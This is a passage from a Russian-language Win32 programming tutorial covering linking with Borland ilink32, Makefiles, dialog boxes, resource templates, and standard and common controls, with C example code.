а в опциях указываем -x, чтобы компоновщик не замусоривал рабочий каталог этой фигней). - libfiles — список библиотек, в которых надо искать не
определенные в программе функции, разделенных пробелом или знаком «+».
Как минимум, надо указать import32.lib, которая содержит код подключения
к стандартным библиотекам Win32 API: kernel32.dll, user32.dll, gdi32.dll,
advapi32.dll и др. Если вы используете какие-либо функции стандартных
библиотек языка Си (stdlib, stdio, …), надо указать еще cw32.lib. - deffile — файл параметров модуля (module definition file).
Это текстовый файл, в котором определяются различные настройки компилируемой
программы типа: размеры сегментов стека, кода, данных, «заглушка»
(что будет происходить при попытке запуска программы в DOS) и проч.
Если не указывать этот файл, компоновщик выберет вполне приличные
для большинства случаев параметры по умолчанию. - resfiles — файлы ресурсов (разделяются пробелом или знаком «+»).
Компоновщик ilink32 умеет работать в пошаговом (инкрементирующем)
режиме incremental linking, при этом он создает несколько файлов состояний
(*.IL?). При последующих попытках компиляции он использует их, так что
процесс компиляции занимает меньше времени. Чтобы отключить пошаговую
компиляцию и не замусоривать рабочий каталог этими файлами, следует
указать опцию -Gn. Например, если при отключенной пошаговой компиляции
программа компилируется 8 секунд, то первая компиляция в пошаговом режиме
займет 25 секунд, а все последующие — не более 2 секунд.
Итак, компонуем модифицированный пример 4:
ilink32 -aa -Tpe -Lc:\bcc55\lib c0w32.obj+example4a.obj,example4a.exe,,import32.lib+cw32.lib,,example4a.res
Если все сделано правильно, первое, что становится сразу заметным —
у исполняемого файла появилась иконка:
Эта же иконка отображается в строке заголовка главного окна программы. Под
строкой заголовка отображается созданное нами меню. При выборе любой команды
меню появляется окно-сообщение с кодом команды. При выборе команды «Exit»
программа завершается.
Если ваш проект состоит из множества файлов, то компилировать и
компоновать их вручную становится затруднительно. В таких случаях
используются сценарии компиляции, которые обрабатываются программой make.
Сценарий компиляции — текстовый файл с именем Makefile, описывающий
зависимости между различными файлами проекта, следующего формата:
правило: зависимости команды для выполнения
Сценарий компиляции должен содержать как минимум одно правило.
Строка с командами обязательно должна начинаться с отступа табуляцией.
В качестве имени правила обычно выступает имя файла, который получится
в результате выполнения команд в теле правила.
Зависимости — необязательный список имен файлов, разделенных пробелами,
от которых зависит данное правило. Если при вызове make окажется,
что хотя бы один файл из этого списка новее, чем файл-результат правила,
то выполняются все команды из этого правила. В качестве зависимостей
могут указываться имена файлов-названия других правил. Тогда make
будет выполнять рекурсивную проверку зависимостей. Make не выполняет
команды из правила, если все файлы-зависимости старее файла-результата.
Пример:
example4a.exe: example4a.rc example4a.cpp myicon.ico brcc32 example4a.rc bcc32 -c -tW example4a.cpp ilink32 -Gn -x -aa -Tpe -Lc:\bcc55\lib c0w32.obj+example4a.obj,example4a.exe,,import32.lib+cw32.lib,,example4a.res
Если не указывать в качестве файлов-зависимостей example4a.rc и example4a.cpp,
то make не станет ничего делать, когда файл example4a.exe уже существует.
Тем не менее, приведенный пример — не совсем удачный сценарий компиляции.
Если мы изменим только файл ресурсов, make все равно будет перекомпилировать
исходный текст. Если мы изменим только исходный текст, make будет
перекомпилировать еще и ресурсы. С учетом этого замечания, более удачным
будет следующий сценарий:
example4a.exe: example4a.obj example4a.res ilink32 -Gn -x -aa -Tpe -Lc:\bcc55\lib c0w32.obj+example4a.obj,example4a.exe,,import32.lib+cw32.lib,,example4a.res example4a.obj: example4a.cpp bcc32 -c -tW example4a.cpp example4a.res: example4a.rc myicon.ico brcc32 example4a.rc
Если в командной строке make не указано иное, то make пытается выполнить
первое правило из сценария. Именно поэтому первым правилом стоит example4a.exe
— результат, который мы хотим получить после компиляции всего проекта.
Если написать подходящий сценарий компиляции, то для компиляции
вашего проекта придется набирать лишь команду:
make
Большинство приложений использует диалоговые окна для запроса у пользователя
дополнительной информации для выполнения каких-либо команд. Например,
команда открытия файла требует указания имени файла, так что приложение
создает диалоговое окно, чтобы запросить у пользователя имя файла.
Пока пользователь не укажет имя файла, команда не будет выполнена.
После этого программа уничтожает это диалоговое окно. В этом случае
используется модальное диалоговое окно. Другой пример: текстовый
редактор может использовать немодальное диалоговое окно, для
команды поиска. Пока редактор ищет введенную фразу, диалоговое окно
остается на экране. Более того, пользователь может вернуться к редактированию
текста, не закрывая диалог поиска. Либо пользователь может ввести
другую фразу для поиска. Такое диалоговое окно остается открытым,
пока приложение не завершится или пользователь непосредственно
не выберет команду закрытия этого диалога.
Чтобы создать диалоговое окно, приложение должно предоставить
системе шаблон диалога, описывающий содержание и стиль диалога,
и диалоговую процедуру. Диалоговая процедура выполняет примерно
такие же задачи, что и процедура обработки событий окна.
Диалоговые окна принадлежат к предопределенному классу окон.
Windows использует этот класс и соответствующую процедуру
обработки событий для модальных и немодальных диалогов.
Эта процедура обрабатывает одни сообщения самостоятельно,
а другие передает на обработку диалоговой процедуре приложения.
У приложения нет непосредственного доступа к этому предопределенному
классу и соответствующей ему процедуре обработки событий.
Для изменения стиля и поведения диалога программа должна использовать
шаблон диалогового окна и диалоговую процедуру.
Для создания модального диалога используется функция DialogBox,
а для создания немодального диалога — CreateDialog:
int WINAPI DialogBox(HANDLE hInst, LPCSTR template, HWND parent, DLGPROC DlgFunc) HWND WINAPI CreateDialog(HANDLE hInst, LPCSTR template, HWND parent, DLGPROC DlgFunc)
Параметры: hInst — дескриптор экземпляра программы
(модуля, в котором находится шаблон); template — имя ресурса,
описывающего диалог; parent — дескриптор родительского окна;
DlgFunc — диалоговая функция следующего формата:
BOOL CALLBACK DlgFunc(HWND hw, UINT msg, WPARAM wp, LPARAM lp)
Параметры диалоговой функции такие же, как у обычной функции обработки
событий. Отличие этой функции — она вызывается из предопределенной
функции обработки событий для диалоговых окон. Она должна вернуть
значение TRUE, если обработала переданное ей сообщение,
или FALSE в противном случае. Она ни в коем случае
не должна сама вызывать DefWindowProc.
При создании диалогового окна диалоговая процедура получает
сообщение WM_INITDIALOG. Если в ответ на это сообщение
процедура возвращает FALSE, диалог не будет создан:
функция DialogBox вернет значение -1,
а CreateDialog — NULL.
Модальное диалоговое окно блокирует указанное в качестве родительского
окно и появляется поверх него (вне зависимости от стиля WS_VISIBLE).
Приложение закрывает модальное диалоговое окно при помощи функции
BOOL WINAPI EndDialog(HWND hw, int result)
Приложение должно вызвать эту функцию из диалоговой процедуры в ответ
на сообщение от кнопок «OK», «Cancel» или команды «Close» из системного
меню диалога. Параметр result передается программе как
результат возврата из функции DialogBox.
Немодальное диалоговое окно появляется поверх указанного в качестве
родительского окна, но не блокирует его. Диалоговое окно остается
поверх родительского окна, даже если оно неактивно. Программа сама
отвечает за отображение/сокрытие окна (с помощью стиля WS_VISIBLE
и функции ShowWindow). Сообщения для немодального
диалогового окна оказываются в основной очереди сообщений программы.
Чтобы эти сообщения были корректно обработаны, следует включить в цикл
обработки сообщений вызов функции:
BOOL WINAPI IsDialogMessage(HWND hwDlg, MSG *lpMsg)
Если эта функция вернула TRUE, то сообщение обработано
и его не следует передавать функциям TranslateMessage
и DispatchMessage.
Немодальное диалоговое окно уничтожается, если уничтожается его
родительское окно. Во всех остальных случаях программа должна сама
заботиться об уничтожении немодального диалогового окна, используя вызов:
BOOL WINAPI DestroyWindow(HWND hw)
Шаблон диалогового окна в ресурсах задается следующим образом:
nameID DIALOG [load-option] [mem-option] x, y, width, height [property-statements] BEGIN control-statements ... END
В начале блока описания диалога задается: nameID —
целочисленный или строковой идентификатор ресурса, x, y —
координаты диалога на экране (или относительно родительского окна),
width, height — размер диалога.
Координаты и размеры диалога и всех элементов внутри
него задаются в диалоговых единицах (dialog units).
Одна горизонтальная диалоговая единица соответствует 1/4 средней ширины
символа в системном шрифте. Одна вертикальная диалоговая единица
соответствует 1/8 средней высоты символа в системном шрифте.
После заголовка блока идет ряд необязательных операторов-параметров диалога
(property-statements) в любом порядке:
STYLE style /* стиль диалога */ CAPTION captiontext /* заголовок диалога */ FONT pointsize, typeface /* шрифт диалога (размер, название) */ MENU menuname /* меню диалога */
В качестве стиля диалога можно применять все перечисленные для обычных окон
стили. Обычно выбирают: WS_POPUP, WS_SYSMENU, WS_CAPTION,
а также WS_BORDER для немодального диалога и DS_MODALFRAME —
для модального. Кроме того, можно использовать DS_SETFOREGROUND,
чтобы при отображении диалога перевести его на передний план, даже если
его родительское окно неактивно.
В теле шаблона (control-statements) перечисляются
составляющие его управляющие элементы. Один из возможных вариантов оператора:
CONTROL text, id, class, style, x, y, width, height
Здесь text — текст управляющего элемента (заголовок),
id — целочисленный идентификатор элемента 0…65535
(внутри одного диалога идентификаторы всех элементов должны различаться),
class — имя класса, к которому принадлежит управляющий элемент,
style — стиль управляющего элемента,
x, y, width, height —
положение и размер диалогового элемента относительно клиентской
области диалога в диалоговых единицах.
Вот пример диалога, содержащего простое статическое текстовое поле и кнопку «OK»:
Ex4_Dlg DIALOG 50,50,90,40 STYLE WS_POPUP|WS_CAPTION|DS_MODALFRAME CAPTION "MyDlg" FONT 10, "Arial" { CONTROL "", 1, "STATIC", SS_LEFT, 5, 5, 80, 10 CONTROL "OK", 2, "BUTTON", BS_DEFPUSHBUTTON, 5, 20, 80, 12 }
Добавим этот диалог к ресурсам примера 4.
В текст программы добавим две глобальных переменных:
char buf[256]=""; /* строка для текстового поля в диалоге */ HINSTANCE h; /* дескриптор экземпляра программы */
Присвоим переменной h значение дескриптора экземпляра программы в самом начале
функции WinMain. Это значение нам потребуется для вызова функции
DialogBox.
Изменим обработчик сообщения WM_COMMAND следующим образом:
case WM_COMMAND: switch (LOWORD(wp)) { case 6: /* команда меню Exit */ PostQuitMessage(0); default: /* все остальные команды */ wsprintf(buf,"Command code: %d",LOWORD(wp)); DialogBox(h,"Ex4_Dlg",hw,DlgProc); } return 0;
Теперь в текст программы необходимо добавить диалоговую процедуру:
BOOL CALLBACK DlgProc(HWND hw, UINT msg, WPARAM wp, LPARAM lp) { switch (msg) { case WM_INITDIALOG: /* сообщение о создании диалога */ SetDlgItemText(hw,1,buf); return TRUE; case WM_COMMAND: /* сообщение от управляющих элементов */ if (LOWORD(wp)==2) EndDialog(hw,0); } return FALSE; }
При создании диалога вызывается процедура SetDlgItemText,
меняющая содержание текстового поля в диалоге (элемент с id=1).
Для уничтожения диалога используется кнопка «OK», генерирующая
сообщение WM_COMMAND с id=2.
Функция DlgProc должна быть определена или описана
до ссылки на нее в вызове DialogBox.
Управляющие элементы, как и другие окна, принадлежат тому или
иному классу окон. Windows предоставляет несколько предопределенных
классов управляющих элементов. Программа может создавать управляющие
элементы поштучно при помощи функции CreateWindow
или оптом, загружая их вместе с шаблоном диалога из своих ресурсов.
Управляющие элементы — это всегда дочерние окна. Управляющие элементы
при возникновении некоторых событий, связанных с реакцией пользователя,
посылают своему родительскому окну сообщения-оповещения
(notification messages) WM_COMMAND или WM_NOTIFY.
Как и любое другое окно, управляющий элемент может быть скрыт или
отображен при помощи функции ShowWindow. Аналогично,
управляющий элемент может быть блокирован или разблокирован при помощи
функции:
BOOL WINAPI EnableWindow(HWND hw,BOOL bEnable)
В качестве второго параметра передается флаг TRUE (разблокировать)
или FALSE (блокировать). Функция возвращает значение TRUE,
если перед ее вызовом окно было заблокировано. Узнать текущий статус
блокирования окна можно при помощи функции:
BOOL WINAPI IsWindowEnabled(HWND hw),
которая возвращает значение TRUE, если окно разблокировано.
Для многих управляющих элементов определены специальные сообщения,
которые управляют видом или поведением таких элементов или позволяют
получить параметры их состояния. Как и для любого другого окна
эти сообщения можно отправить с помощью функции:
LRESULT WINAPI SendMessage(HWND hw, UINT msg, WPARAM wp, LPARAM lp)
Все упомянутые функции работают с дескриптором окна, который для
управляющих элементов в случае создания диалога по шаблону из ресурсов
непосредственно неизвестен, но может быть получен по дескриптору диалога
и идентификатору управляющего элемента вызовом:
HWND WINAPI GetDlgItem(HWND hDlg, int idDlgItem)
Для функции отсылки сообщений есть специальный вариант, предназначенный
для более удобной работы с управляющими элементами:
LRESULT WINAPI SendDlgItemMessage( HWND hwndDlg, /* дескриптор родительского диалога */ int idControl, /* идентификатор управляющего элемента */ UINT msg, /* код сообщения */ WPARAM wp, /* параметр сообщения */ LPARAM lp /* параметр сообщения */ )
Для управляющих элементов внутри диалогов специальный смысл имеют
стили WS_TABSTOP и WS_GROUP. Если в диалоге
имеются управляющие элементы со стилем WS_TABSTOP, то при нажатии
пользователем на клавишу [Tab] (или [Shift]+[Tab]), текущий активный элемент
диалога будет терять фокус и передавать его следующему за ним (или предыдущему)
ближайшему элементу со стилем WS_TABSTOP. С помощью стиля
WS_GROUP элементы диалога можно объединять в группы. Группа
элементов начинается с элемента со стилем WS_GROUP и заканчивается
элементом, после которого идет элемент со стилем WS_GROUP, или
последним элементом в диалоге. Внутри группы только первый элемент
должен иметь стиль WS_GROUP. Windows допускает перемещение
внутри группы при помощи клавиш-стрелок.
Классы предопределенных управляющих элементов:
- «STATIC»
- Статический управляющий элемент представляет собой
текстовую метку или прямоугольник. Не предоставляет пользователю
ни средств ввода, ни вывода. Примеры:Соответствующее описание ресурсов:
CONTROL "",-1, "STATIC", SS_BLACKFRAME, 5, 40, 20, 10 CONTROL "",-1, "STATIC", SS_GRAYFRAME, 30, 40, 20, 10 CONTROL "",-1, "STATIC", SS_WHITEFRAME, 55, 40, 20, 10 CONTROL "",-1, "STATIC", SS_BLACKRECT, 80, 40, 20, 10 CONTROL "",-1, "STATIC", SS_GRAYRECT, 105, 40, 20, 10 CONTROL "",-1, "STATIC", SS_WHITERECT, 130, 40, 20, 10 CONTROL "",-1, "STATIC", SS_ETCHEDFRAME,155, 40, 20, 10 /* Для статиков-иконок или картинок текстовое поле определяет имя ресурса */ CONTROL "Ex4_Bmp",-1, "STATIC", SS_BITMAP, 5, 55, -1, -1 CONTROL "Ex4_Icon",-1, "STATIC", SS_ICON, 65, 55, -1, -1 CONTROL "text",-1, "STATIC", SS_LEFT, 105, 55, 20, 10 CONTROL "text",-1, "STATIC", SS_CENTER, 130, 55, 20, 10 CONTROL "text",-1, "STATIC", SS_RIGHT, 155, 55, 20, 10 /* По умолчанию SS_LEFT, SS_RIGHT, SS_CENTER делают перенос по словам */ CONTROL "This is long text example",-1, "STATIC", SS_SIMPLE|SS_SUNKEN, 65, 70, 55, 15 CONTROL "This is long text example",-1, "STATIC", SS_LEFT|SS_SUNKEN, 125, 70, 50, 15
Для текстовых статиков со стилями SS_LEFT, SS_RIGHT
или SS_CENTER существуют более простые операторы объявления ресурсов:LTEXT "text",-1, 105, 55, 20, 10 CTEXT "text",-1, 130, 55, 20, 10 RTEXT "text",-1, 155, 55, 20, 10 LTEXT "This is long text example",-1, 65, 70, 55, 15, SS_LEFTNOWORDWRAP|SS_SUNKEN LTEXT "This is long text example",-1,125, 70, 50, 15, SS_LEFT|SS_SUNKEN
Чтобы поменять текст статика ему можно послать сообщение WM_SETTEXT
(wp=0; lp=(LPARAM)(LPCSTR)lpsz — адрес строки) или
использовать функции:BOOL WINAPI SetWindowText(HWND hw, LPCSTR lpsz) BOOL WINAPI SetDlgItemText(HWND hDlg, int idControl, LPCTSTR lpsz)
Чтобы сменить иконку или картинку нетекстового статика, надо послать
ему сообщение STM_SETIMAGE (wp=(WPARAM)fImageType —
тип изображения: IMAGE_BITMAP или IMAGE_ICON;
lp=(LPARAM)(HANDLE)hImage — дескриптор иконки или картинки). - «BUTTON»
- Кнопка — это небольшое прямоугольное дочернее окно, обычно
имеющее два состояния: нажато/отпущено или включено/выключено.
Пользователь меняет состояние этого элемента щелчком мыши.
К этому классу относятся: кнопки-«давилки» (push buttons),
кнопки-«галочки» (check boxes), «радио»-кнопки (radio buttons)
и специальный тип групповых рамочек (group boxes). Примеры:Соответствующее описание ресурсов:
/* DEFPUSHBUTTON - кнопка по умолчанию (нажимается по [Enter]) */ CONTROL "OK", 2, "BUTTON", BS_DEFPUSHBUTTON, 5, 20, 50, 12 CONTROL "text", 3, "BUTTON", BS_PUSHBUTTON, 60, 20, 50, 12 CONTROL "GroupBox1", -1, "BUTTON", BS_GROUPBOX, 5, 35, 50, 50 CONTROL "text", 4, "BUTTON", BS_CHECKBOX, 10, 45, 30, 10 CONTROL "text", 5, "BUTTON", BS_AUTOCHECKBOX, 10, 57, 30, 10 CONTROL "text", 6, "BUTTON", BS_AUTO3STATE, 10, 69, 30, 10 CONTROL "GroupBox2", -1, "BUTTON", BS_GROUPBOX, 60, 35, 50, 50 CONTROL "text", 7, "BUTTON", BS_AUTORADIOBUTTON|WS_GROUP, 65, 45, 30, 10 CONTROL "text", 8, "BUTTON", BS_AUTORADIOBUTTON, 65, 57, 30, 10 CONTROL "text", 9, "BUTTON", BS_AUTORADIOBUTTON, 65, 69, 30, 10
Для кнопок существуют более простые операторы объявления ресурсов:
DEFPUSHBUTTON text, id, x, y, width, height [, style] PUSHBUTTON text, id, x, y, width, height [, style] GROUPBOX text, id, x, y, width, height [, style] CHECKBOX text, id, x, y, width, height [, style] RADIOBUTTON text, id, x, y, width, height [, style]
Разница между стилями BS_xxx и BS_AUTOxxx
заключается в том, что при щелчке по AUTO-кнопкам Windows
сама автоматически переключает их состояние. Для не AUTO-кнопок
это надо делать вручную в диалоговой процедуре, послав сообщение
BM_SETCHECK (wp=(WPARAM)fCheck — флаг:
BST_UNCHECKED, BST_CHECKED или BST_INDETERMINATE
(для BS_3STATE-кнопок); lp=0) или при помощи функций:BOOL WINAPI CheckDlgButton(HWND hDlg, int idButton, UINT fCheck) BOOL WINAPI CheckRadioButton( HWND hDlg, /* дескриптор родительского диалога */ int idFirstButton, /* id первой радио-кнопки в группе */ int idLastButton, /* id последней радио-кнопки в группе */ int idCheckButton /* id отмечаемой радио-кнопки */ )
Автоматические радио-кнопки должны быть объединены в группу
при помощи стиля WS_GROUP, чтобы Windows корректно их
обрабатывала.
Проверить состояние кнопки можно, послав ей сообщение BM_GETCHECK
(wp=0; lp=0) или вызовом функции:UINT WINAPI IsDlgButtonChecked(HWND hDlg, int idButton)
При щелчке мыши по кнопке она присылает родительскому диалогу сообщение-оповещение
WM_COMMAND (HIWORD(wp)=BN_CLICKED; LOWORD(wp)=(int)idButton;
lp=(HWND)hwndButton). - «EDIT»
- Поле редактирования предназначено для ввода пользователем текста
с клавиатуры. Щелчком мыши внутри элемента пользователь передает
этому элементу фокус ввода (input focus).
При этом внутри элемента появляется текстовый курсор — мигающая
каретка. Пользователь может использовать мышь для перемещения
каретки по полю редактирования и выделению текста в этом поле. Примеры:Соответствующее описание ресурсов:
/* По умолчанию эти элементы создаются вообще без рамки, поэтому добавлено WS_BORDER */ CONTROL "" 4, "EDIT", ES_MULTILINE|ES_WANTRETURN|WS_BORDER 5, 45, 60, 35 CONTROL "text", 5, "EDIT", ES_LEFT|WS_BORDER, 70, 45, 30, 10 CONTROL "text", 6, "EDIT", ES_CENTER|ES_PASSWORD|WS_BORDER, 70, 57, 30, 10 CONTROL "text", 7, "EDIT", ES_RIGHT|ES_READONLY|WS_BORDER, 70, 69, 30, 10
Стиль ES_WANTRETURN означает, что кнопка [Enter] будет
обрабатываться самим элементом, а не передаваться диалогу. Благодаря
этому стилю оказался возможен переход на новую строчку для предложения
«Она съела кусок…» (на картинке).
По умолчанию текстовые поля позволяют вводить столько текста,
сколько может отобразиться в рамках поля. Чтобы предоставить
пользователю возможность ввести больше текста, надо использовать
стиль ES_AUTOHSCROLL (и ES_AUTOVSCROLL
для многострочных полей).
Для текстовых полей существует более простой оператор объявления ресурсов:EDITTEXT id, x, y, width, height [, style]
Чтобы поменять содержимое текстового поля, программа вызывает
функцию SetDlgItemText. Чтобы получить текущее
содержимое текстового поля, используется функция:UINT WINAPI GetDlgItemText( HWND hDlg, /* дескриптор родительского диалога */ int idControl, /* идентификатор поля */ LPSTR lpString, /* буфер под текст */ int nMaxCount /* размер буфера */ )
Чтобы узнать размер строки в текстовом поле, надо послать элементу
сообщение WM_GETTEXTLENGTH (wp=0; lp=0).
Текстовое поле посылает родительскому диалогу следующие сообщения-оповещения
WM_COMMAND (LOWORD(wp)=(int)idContol; lp=(HWND)hwndEditCtrl):- HIWORD(wp)=EN_KILLFOCUS — текстовое поле потеряло фокус
(фокус передан другому элементу диалога); - HIWORD(wp)=EN_SETFOCUS — текстовое поле получило фокус;
- HIWORD(wp)=EN_CHANGE — пользователь изменил текст в поле;
- HIWORD(wp)=EN_ERRSPACE — закончилось место, отведенное под
текстовый буфер управляющего элемента.
- HIWORD(wp)=EN_KILLFOCUS — текстовое поле потеряло фокус
- «LISTBOX»
- Окно-список используется для отображения списка имен
(например, имен файлов). Пользователь может, просматривая список,
выделить один или несколько элементов щелчком мыши. При выделении
того или иного элемента списка, он подсвечивается, а родительскому
окну посылается сообщение-оповещение. Для очень больших списков
могут использоваться полосы прокрутки. Примеры:Соответствующее описание ресурсов:
CONTROL "" 3, "LISTBOX", LBS_MULTIPLESEL|WS_BORDER|WS_VSCROLL, 5, 45, 60, 35 CONTROL "" 4, "LISTBOX", LBS_MULTICOLUMN|WS_BORDER|WS_HSCROLL, 70, 45, 60, 35 CONTROL "" 5, "LISTBOX", LBS_SORT|LBS_NOSEL|WS_BORDER, 135, 45, 60, 35
или в короткой форме:
LISTBOX 3, 5, 45, 60, 35, LBS_MULTIPLESEL|WS_BORDER|WS_VSCROLL LISTBOX 4, 70, 45, 60, 35, LBS_MULTICOLUMN|WS_BORDER|WS_HSCROLL LISTBOX 5, 135, 45, 60, 35, LBS_SORT|LBS_NOSEL|WS_BORDER
Для добавления элемента к списку следует послать ему сообщение
LB_ADDSTRING (wp=0; lp=(LPARAM)(LPCSTR)lpsz —
строка для добавления). Для того, чтобы заполнить один из списков,
показанных на рисунке, в обработчик сообщения WM_INITDIALOG
в диалоговую процедуру был вставлен такой фрагмент:char *a[12]={ "jan","feb","mar","apr","may","jun", "jul","aug","sep","oct","nov","dec"}; for (int i=0; i<12; i++) { SendDlgItemMessage(hw,3,LB_ADDSTRING,0,(LPARAM)a[i]); }
Кроме этого, список «понимает» следующие сообщения:
- LB_DELETESTRING (wp=(WPARAM)index; lp=0) —
удалить элемент с указанным номером; - LB_INSERTSTRING (wp=(WPARAM)index; lp=(LPARAM)(LPCSTR)lpsz) —
вставить указанную строку в список как элемент с индексом index; - LB_FINDSTRING (wp=(WPARAM)indexStart; lp=(LPARAM)(LPTSTR)lpszFind) —
найти элемент, содержащий указанную строку (поиск ведется, начиная
с элемента indexStart), результат сообщения — номер элемента,
удовлетворяющего критерию, или LB_ERR; - LB_GETCOUNT (wp=0; lp=0) — количество элементов в списке;
- LB_GETCURSEL (wp=0; lp=0) — выделенный элемент в списке;
- LB_RESETCONTENT (wp=0; lp=0) — удалить все элементы из списка.
Окно-список посылает родительскому диалогу следующие сообщения-оповещения
WM_COMMAND (LOWORD(wp)=(int)idContol; lp=(HWND)hwndListBox):- HIWORD(wp)=LBN_DBLCLK — пользователь дважды щелкнул мышью по списку;
- HIWORD(wp)=LBN_SELCHANGE — пользователь выделил другой элемент
в списке (или отменил выделение).
- LB_DELETESTRING (wp=(WPARAM)index; lp=0) —
- «COMBOBOX»
- Комбобокс — это помесь поля редактирования с окном-списком.
Этот элемент содержит поле редактирование и список, который может
отображаться все время либо «выпадать» при нажатии на кнопку рядом
с полем редактирования. Есть три основных типа комбобоксов:- «выпадающий» комбобокс (CBS_DROPDOWN) содержит поле
редактирования и «выпадающий» список; - «выпадающий» список (CBS_DROPDOWNLIST) не содержит
поля для изменения текста; - простой комбобокс (CBS_SIMPLE) содержит поле
редактирования и обычный список.
Обратите внимание, что в ресурсах значение высоты элемента определяет
размер поля редактирования вместе с «выпавшим» списком по вертикали.CONTROL "" 3, "COMBOBOX", CBS_DROPDOWN|CBS_AUTOHSCROLL|WS_VSCROLL, 5, 45, 60, 70 CONTROL "" 4, "COMBOBOX", CBS_DROPDOWNLIST|WS_VSCROLL, 70, 45, 60, 70 CONTROL "" 5, "COMBOBOX", CBS_SIMPLE|CBS_SORT, 135, 45, 60, 70
Короткий вариант этого же объявления ресурсов:
COMBOBOX 3, 5, 45, 60, 70, CBS_DROPDOWN|CBS_AUTOHSCROLL|WS_VSCROLL COMBOBOX 4, 70, 45, 60, 70, CBS_DROPDOWNLIST|WS_VSCROLL COMBOBOX 5, 135, 45, 60, 70, CBS_SIMPLE|CBS_SORT
Для работы с комбобоксами существуют сообщения, аналогичные списковым:
CB_ADDSTRING, CB_DELETESTRING, CB_INSERTSTRING,
CB_FINDSTRING, CB_GETCOUNT, CB_GETCURSEL,
CB_RESETCONTENT.
Комбобокс посылает родительскому диалогу сообщение оповещение WM_COMMAND
со следующими кодами оповещения:- CBN_SELCHANGE, когда пользователь выделяет другую строку
в комбобоксе (бывает полезным для простых комбобоксов); - CBN_SELENDOK, когда пользователь выбрал элемент в выпадающем
списке и щелкнул мышкой по выделению (подтвердил выделение), для
простых комбобоксов посылается перед каждым CBN_SELCHANGE; - CBN_SELENDCANCEL, когда пользователь закрыл выпадающий список,
так и не выбрав никакой элемент; - CBN_DROPDOWN, когда открывается выпадающий список;
- CBN_CLOSEUP, когда выпадающий список был закрыт по той или
иной причине.
- «выпадающий» комбобокс (CBS_DROPDOWN) содержит поле
Кроме предопределенных управляющих элементов, Windows предоставляет еще
набор стандартных управляющих элементов посредством библиотеки
Common Controls Library (COMCTL32.DLL). Чтобы воспользоваться ей,
в тест программы надо включить заголовочный файл commctrl.h
и добавить в блок инициализации программы вызов функции:
void WINAPI InitCommonControls(void)
Управляющие элементы из этой библиотеки, как правило, посылают
сообщения-оповещения родительскому диалогу через сообщение WM_NOTIFY
(wp=(int)idControl; lp=(LPARAM)(NMHDR*)pmnh — указатель на структуру
со специльными параметрами сообщения-оповещения).
Классы управляющих элементов из Common Controls Library:
- List View Controls (WC_LISTVIEW)
- Элемент просмотра списков — это окно отображающее совокупность
элементов. Каждый элемент может быть представлен текстовой меткой и
(необязательно) иконкой. Типичный пример использования этого элемента —
программа «Проводник». Содержимое того или иного каталога представляется
в виде элемента просмотра списков. Есть четыре основных стиля для этого
элемента:- крупные иконки — стиль LVS_ICON;
- мелкие иконки — стиль LVS_SMALLICON;
- список — стиль LVS_LIST;
- таблица — стиль LVS_REPORT.
CONTROL "",3,WC_LISTVIEW,LVS_REPORT|WS_BORDER, 5, 45, 60, 70 CONTROL "",4,WC_LISTVIEW,LVS_LIST|WS_BORDER, 70, 45, 120, 70 CONTROL "",5,WC_LISTVIEW,LVS_ICON|WS_BORDER, 200, 45, 120, 70
Приведенные в примере списки заполнялись в диалоговой
процедуре при инициализации диалога (WM_INITDIALOG):/* Создание колонок для 1го списка */ LV_COLUMN lc; lc.mask=LVCF_FMT|LVCF_TEXT|LVCF_SUBITEM|LVCF_WIDTH; lc.fmt=LVCFMT_LEFT; lc.pszText="Col1"; lc.iSubItem=0; lc.cx=40; SendDlgItemMessage(hw,3,LVM_INSERTCOLUMN,0,(LPARAM)&lc); lc.pszText="Col2"; lc.iSubItem=1; lc.cx=40; SendDlgItemMessage(hw,3,LVM_INSERTCOLUMN,1,(LPARAM)&lc); /* Создание списка иконок для 2го и 3го списков */ HIMAGELIST himl1,himl2; himl1=ImageList_Create(16,16,ILC_MASK,1,0); /* список маленьких иконок */ ImageList_AddIcon(himl1,LoadIcon(h,"Ex4_Icon")); himl2=ImageList_Create(32,32,ILC_MASK,1,0); /* список больших иконок */ ImageList_AddIcon(himl2,LoadIcon(h,"Ex4_Icon")); SendDlgItemMessage(hw,4,LVM_SETIMAGELIST,LVSIL_SMALL,(LPARAM)himl1); SendDlgItemMessage(hw,5,LVM_SETIMAGELIST,LVSIL_NORMAL,(LPARAM)himl2); /* Заполнение списков */ LV_ITEM li; li.mask=LVIF_TEXT|LVIF_IMAGE; li.iImage=0; /* номер иконки в списке */ for (int i=0; i<12; i++) { li.iItem=i; li.iSubItem=0; li.pszText=a[i]; SendDlgItemMessage(hw,3,LVM_INSERTITEM,0,(LPARAM)&li); SendDlgItemMessage(hw,4,LVM_INSERTITEM,0,(LPARAM)&li); SendDlgItemMessage(hw,5,LVM_INSERTITEM,0,(LPARAM)&li); wsprintf(str,"%d",i); /* вторая колонка для 1го списка */ li.iSubItem=1; li.pszText=str; SendDlgItemMessage(hw,3,LVM_SETITEM,0,(LPARAM)&li); }
- Status Windows (STATUSCLASSNAME)
- Поле статуса — это горизонтальное окно в нижней части
родительского окна, которое программа обычно использует для отображения
каких-либо характеристик, параметров или небольших текстовых сообщений.В примере 4б можно заменить статическое текстовое поле
на поле статуса:Ex4_Dlg DIALOG 50,50,70,40 STYLE WS_POPUP|WS_CAPTION|WS_BORDER CAPTION "MyDlg" FONT 10, "Arial" { CONTROL "OK", 2, "BUTTON", BS_DEFPUSHBUTTON, 5, 10, 60, 12 CONTROL "Status text",1,STATUSCLASSNAME, 0, 0, 0, 0, 0 }
При создании поля статуса не требуется указывать ни размер, ни позицию
окна, Windows сама выберет эти параметры подходящим образом.
Для создания поля статуса можно использовать специальную функцию:HWND WINAPI CreateStatusWindow( LONG style, /* стиль: обязательно указываем WS_CHILD|WS_VISIBLE */ LPCTSTR lpszText, /* текст поля статуса */ HWND hwndParent, /* родительское окно */ UINT wID /* числовой id поля статуса */ )
С помощью сообщения SB_SETPARTS поле статуса можно разбить
на части (wp=(int)nParts — количество частей;
lp=(LPARAM)(int*)widths — указатель на массив размеров частей).
В таком случае текст для каждой части поля статуса задается сообщением
SB_SETTEXT (wp=(int)iPart — номер части;
lp=(LPARAM)(LPSTR)lpszText — текстовая строка). Пример:CreateStatusWindow(WS_CHILD|WS_VISIBLE|SBARS_SIZEGRIP,"text",hw,100); int widths[5]={100,150,200,-1}; SendDlgItemMessage(hw,100,SB_SETPARTS,4,(LPARAM)widths); SendDlgItemMessage(hw,100,SB_SETTEXT,2,(LPARAM)"part 2"); SendDlgItemMessage(hw,100,SB_SETTEXT,3,(LPARAM)"last part");
- Up-Down Controls (UPDOWN_CLASS)
